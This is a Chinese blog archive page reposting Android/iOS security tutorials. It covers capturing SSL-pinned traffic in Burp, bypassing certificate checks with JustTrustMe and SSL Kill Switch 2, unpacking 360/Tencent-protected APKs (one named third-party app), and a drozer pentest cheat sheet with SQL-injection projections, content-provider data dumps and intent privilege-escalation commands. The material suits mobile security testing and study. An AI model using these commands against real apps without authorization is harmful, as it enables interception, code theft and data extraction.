显示标签为“安卓”的博文。显示所有博文
显示标签为“安卓”的博文。显示所有博文

2022年9月13日星期二

使用上帝模式对使用了SSL Pinning的app进行抓包

 当前很多APP都加了SSL Pinning技术,这个技术到底做了什么我就不再多说,有兴趣的可以自行搜索。

由于这个SSL Pinning技术,对app抓包已经成为了一个非常困难的事情,需要对设备进行各种root+防root检测+Just Trust me/Frida等技术进行操作,然后才能进行抓包。

最近在更换waf证书的时候,发现一个有趣的事情,在单独只更换waf证书的时候,其他设备如nginx、F5、CDN都不更换的情况下,对客户端的访问情况其实没有任何影响,对此我进行了一番搜索。

在一番搜索后对ssl原理,https加解密流程有了更深刻的认识。

然后我灵光一现突然想到一个困扰我多年的问题,就是对公司里面的app抓包问题。

burpsuite在某种程度上也是这个数据链上的其中一个设备,如果使用的是公司内的可信证书,那么就可以对数据包进行加解密并且,app上理论也不会报错。


于是我就开始实施。

在手机和电脑上进行了代理设置(这些就不啰嗦了)。


将公司的ssl证书(证书怎么来就靠自己了)转化为pfx格式,bp有可以导入其他格式的证书,但是导入后我测试时不起作用的,不知道为什么。

如何转化为pfx格式,这里推荐使用key manager软件离线转换,在线的话有网站也可以转化。

转换证书格式参考网址:

https://www.chinassl.net/ssltools/convert-ssl.html

https://myssl.com/cert_convert.html


然后将证书导入到bp


导入后进行正常抓包


可以看到已经可以抓包到使用了ssl pinning的app的数据包了。








2021年7月29日星期四

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360加固一键脱壳

 这个只是脱壳,不带回编.


第一步

电脑安装安卓模拟器,我使用的是雷电模拟器(推荐).
傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

第二步

打开模拟器,准备安装软件:
1.需要脱壳的软件
2.XP 框架.(直接在模拟器应用商店搜索即可)
3.易开发.
4.MT 管理器.(推荐),当然你用别的文件管理器也行.

易开发下载地址:云盘

开搞

请先激活 XP 框架

由于防火墙的原因可能无法安装安装,可以看上一篇离线安装xposed的方法,或者自己想办法翻墙。
傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳
然后
傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳
打上对勾,然后重启模拟器.

然后打开易开发.

权限都给上就完了.

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

然后你模拟器边上会出现以下小悬浮图标:

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

打开要脱壳的软件.点击悬浮窗

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

如无法导出,请点击基本信息里面的脱壳.然后软件会重启崩溃.要脱壳的软件下次启动的时候崩溃就对了~

数据就会在:

/data/data/应用包名/dump/ 目录下

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

你在这个文件夹里会没有权限,移动到 SD 卡的根目录

傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

好了完成了!
傻瓜式脱壳,支持市面上常见加固.腾讯乐固、360 加固一键脱壳

最后

测试了,360 加固和腾讯乐固完全可以.



via:https://blog.kieng.cn/2051.html

2018年7月20日星期五

移动端双向校验https情况下的抓包方法

安卓设备要求设备root,iOS设备要求越狱。

Android平台

在Android平台上的操作主要是通过hook的方式,将应用及系统中验证https证书的逻辑全部hook为验证结果正确,这样无论安装的证书是否有效,皆可进行正常的https通信。
这里就需要对手机安装hook框架,这里用到的hook框架为Xposed,官方下载地址:
http://repo.xposed.info/module/de.robv.android.xposed.installer ,这里需要注意的是,在Android4.0-4.4是可以直接通过安装apk的方式开刷入Xposed框架,而在Android 5.0以上则需要刷入Xposted的固件包,具体的操作这里就不再赘述了,网上有很多教程已经讲的很详细了。

想要进行https抓包的话需要安装Xposed的一个开源模块--JustTrustMe,github链接地址为:https://github.com/Fuzion24/JustTrustMe ,下载最新版本的安装包,安装进手机,在Xposted中激活并重启手机,这时就可以随意抓取手机中的流量了。


iOS平台

iOS上就需要将手机进行越狱了,可以使用目前市面上比较流行的盘古越狱工具,但是目前只支持iOS10之前的版本,所以做移动安全研究或者渗透测试的,准备一台老版本的测试机还是很有必要的,说不定什么时候哪款工具就在最新系统上用不了了。
言归正传,在iOS上用到的这款工具叫做SSL Kill Switch 2,该工具使用了Cydia Substrate的钩子技术,这个钩子Hook了IOS的验证证书函数,使得他们接受任何证书。

SSL Kill Switch 2同样也是一款在Github上开源的软件:https://github.com/nabla-c0d3/ssl-kill-switch2 ,这里给大家简单介绍下如何安装这个工具。
首先在越狱后的Cydia工具中查看以下几项软件是否都安装完成:
Debian Packager

Cydia Substrate

PreferenceLoader

如图中所示:
 

如果都安装完成,那么从Github上下载最新的release包:https://github.com/nabla-c0d3/ssl-kill-switch2/releases ,如现在最新版的为v0.11 安装包为 com.nablac0d3.SSLKillSwitch2_0.11.deb ,将该文件拷贝到iOS设备中,拷贝文件可用iTools、iFunBox等工具。
如图所示:
用ssh链接iOS设备,找到deb文件传输目录(/User/Media):

执行如下命令进行安装:
dpkg -i com.nablac0d3.SSLKillSwitch2_0.11.deb
killall -HUP SpringBoard
回到Cydia中,查看安装的软件,已经在列表中了。
 
接下来需要在系统设置中打开SSL Kill Switch 2
进入系统设置,找到SSL Kill Switch 2项,点开项目点击右侧按钮,开启 Disable Certificate Validation,如图所示:
  
这时候就可以抓取https的流量了。


测试
证书安装完成之后,用手机访问一个https的网站,这时就发现https的数据包可以抓取到了。



via:https://www.cnblogs.com/JDragons/p/7332324.html

2018年4月4日星期三

某移动应用安全加固与脱壳技术研究与实例分析

由于近期很多朋友问关于Android加壳与脱壳技术,这两天我就对目前主流的脱壳工具和加壳方法做了研究,就对目前的脱壳方法做个汇总和方法记录。
首先目前市面上有很多的安卓脱壳工具,主流的有DexExtractor, ZjDroid, drizzleDumper,其中前面的2个工具与后面的工具略有不同,文章会一一对工具进行分析和尝试脱壳,各个工具的使用都在手机root的环境下进行的,并且在实体机上进行,所以如果有读者尝试破解的话建议还是在实体机上进行。
其实对于加壳的方案很多加固尝试都做了什么防动态调试等等措施,所以整体来讲,Android的加壳技术也提升了不少。对于工具DexExtractor, ZjDroid,主要基于hook的拦截系统加载的dex文件,然后直接从手机内存中dump出dex数据,然后直接把dex转化为jar即可看到客户端的源码。但工具drizzleDumper的脱壳原理略有不同把,这个工具主要原理是附加目标程序,寻找内存段,然后对dex的头部信息进行dump,此种方法可以获取到程序的比较完整的dex文件,但对于前两个工具,由于是hook拦截,所以可能拦截不全,造成了无法抓取完整的dex文件。
02 脱壳研究与测试
关于DexExtractor的脱壳原理网上已经有很多的文章,这里可以参考一个文章,原理写的比较详细:https://www.cnblogs.com/jiaoxiake/p/6818786.html
这个工具的使用和下载可以参照,https://github.com/lambdalang/DexExtractor,这个工具的使用环境实在太难弄了,之前好不容易弄到了系统的镜像,但还是没有脱壳成功,这里就不示范了,意义不大,有兴趣的可以研究一下。
      关于工具ZjDroid,这个工具网上也有很多的文章提到,也是目前大多数人用的工具,但笔者今天测试,发现ZjDroid有局限性,最新的壳可能无法脱。ZjDroid是基于hook的,所以使用需要xposed框架,在安装xposed框架需要注意一点,目前搜索到的xposed框架版本主要是3.0以上的,但xposed框架3.0以上的系统安装在Android4.0系统,否则可能安装不是,如果大家需要将xposed框架安装在Android4.0以上,那就需要安装xposed2.7一下的xposed版本了,笔者对这个也是做了多次尝试才弄清楚,所以今天笔者尝试的脱壳资源如下:
Android版本:Android4.1.2
应用名称:微恋交友(com.thsseek.welove_29.apk)
Xposed版本:de.robv.android.xposed.installer_v32_de4f0d.apk
ZjDroid版本:V1.0
手机权限:已root的实体机
壳类型:某数字免费壳
  在脱壳之前,我们首先用apktools的反编译IDE工具JEB尝试反编译,如下图所示:
从图中可以看到,核心代码一个也没有,只反编译出了壳代码,这里很明显是qihoo,即360的免费加壳,查看stub包,里面包含了加载加密资源的路径和方法:
其中的libjiagu就是核心资源文件,那这个文件在哪里呢,我们解压开apk程序就可以看到,如下图所示:
好了,既然无法直接利用apk的IDE工具直接反编译出核心源代码,那么就尝试脱壳吧。首先利用利用工具zjdroid。在xposed里面配置好模块就可以了,如下所示:
第一步:运行程序,如图所示开始运行目标程序:
第二步:手机连上电脑,打开手机调试模式,然后获取进程号:
adb shell dumpsys activity top|more
以上就获取到了目标程序的进程号和进程名:com.thsseek.welove 进程号:22886
第三步:查询dex信息所在的内存位置:
am broadcast -a com.zjdroid.invoke --ei  target 22886 --es cmd '{action:dump_dexinfo}'
第四步:监控logcat日志信息
logcat -s zjdroid-shell-  com.thsseek.welove
如图所示获取到apk的位置filepath:/mnt/asec/com.thsseek.welove-1/pkg.apk
第五步:重新开一个adb shell,然后执行一下命令:
am broadcast -a com.zjdroid.invoke --ei  target 22886 --es cmd '{action:backsmali, "dexpath":" /mnt/asec/com.thsseek.welove-1/pkg.apk  "}'
查看logcat窗口,发现已经dump dex数据:
导出dex数据/data/data/com.thsseek.welove/files/dexfile.dex,然后利用逆向助手,将dex文件转化为jar文件:
然后利用gd-gui查看代码:
可以看到,虽然我们dump了目标程序,并且成果获取到dex的数据,但是代码中还是壳的信息,并没有核心代码,这个问题其实主要还是因为hook的局限性吧,并不能正确的获取到dex的开头信息。
         接下来测试工具drizzleDumper,此工具有x86和非x86平台的,使用的时候按需使用。如图将drizzleDumper传到手机的tmp文件下面:
给drizzleDumper赋予777的权限:
接下来按照之前的方法,获取当前目标程序的进程号和包名:
dumpsys activity top |more
然后根据进程号看一下maps表:
Cat /proc/2886/maps|grep com.thsseek.welove
接下来运行脱壳程序进行脱壳,这里比较简单了,直接运行脱壳程序,参数就是进程名,如下:
./drizzleDumper  com.thsseek.welove
脱壳成功,并且将dex文件保存在/data/local/tmp/com.thsseek.welove_dumped_75.dex路径,我们导出文件:
然后对dex文件转化为jar反编译查看代码:
点击操作就完成了脱壳操作了:

03 总结
通过对3款Android应用的脱壳工具的测试,效果最好的就是drizzleDumper 了,但未测试收费的加壳服务不知道能不能脱壳,后面有机会再测试,脱壳过程主要是研究各个工具的使用,均是利用工具自动化方式来实现,后面有机会尝试手动脱壳测试。还有其他厂商的加固,如梆梆,腾讯,爱加密等,如果有兴趣也可以一一进行尝试。


via:https://www.secpulse.com/archives/70232.html

2018年3月8日星期四

利用drozer进行Android渗透测试

一、安装与启动

1. 安装 

第一步:从http://mwr.to/drozer下载Drozer (Windows Installer) 
第二步:在Android设备中安装agent.apk
adb install agent.apk

2. 启动

第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415
第二步:在Android设备上开启Drozer Agent
选择embedded server-enable
第三步:在PC上开启Drozer console
drozer console connect 
二、测试步骤

1.获取包名

dz> run app.package.list -f sieve

com.mwr.example.sieve
2.获取应用的基本信息
run app.package.info -a com.mwr.example.sieve
3.确定攻击面
run app.package.attacksurface com.mwr.example.sieve
4.Activity
1)获取activity信息
run app.activity.info -a com.mwr.example.sieve
2)启动activity
复制代码
run app.activity.start --component com.mwr.example.sieve

dz> help app.activity.start

usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]

[--component PACKAGE COMPONENT] [--data-uri DATA_URI]

[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

[--mimetype MIMETYPE]
复制代码
5.Content Provider
1)获取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(数据泄露)
先获取所有可以访问的Uri: 
run scanner.provider.finduris -a com.mwr.example.sieve
获取各个Uri的数据:
run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞
(3)Content ProvidersSQL注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
报错则说明存在SQL注入。
列出所有表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取某个表(如Key)中的数据:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
4)同时检测SQL注入和目录遍历
run scanner.provider.injection -a com.mwr.example.sieve

run scanner.provider.traversal -a com.mwr.example.sieve
6 intent组件触发(拒绝服务、权限提升)
利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
1.查看暴露的广播组件信息:
run app.broadcast.info -a com.package.name  获取broadcast receivers信息

run app.broadcast.send --component 包名 --action android.intent.action.XXX
2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
run app.broadcast.send 通过intent发送broadcast receiver
(1)   空action
run app.broadcast.send --component 包名 ReceiverName

run app.broadcast.send --component 包名 ReceiverName
(2)   空extras
run app.broadcast.send --action android.intent.action.XXX
3.尝试权限提升
权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
(1)获取service详情  
run app.service.info -a com.mwr.example.sieve

不使用drozer启动service

am startservice –n 包名/service名
(2)权限提升
run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
7.文件操作
列出指定文件路径里全局可写/可读的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo

run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo

run app.broadcast.send --component 包名 --action android.intent.action.XXX
8.其它模块
shell.start 在设备上开启一个交互shell

tools.file.upload / tools.file.download 上传/下载文件到设备

tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件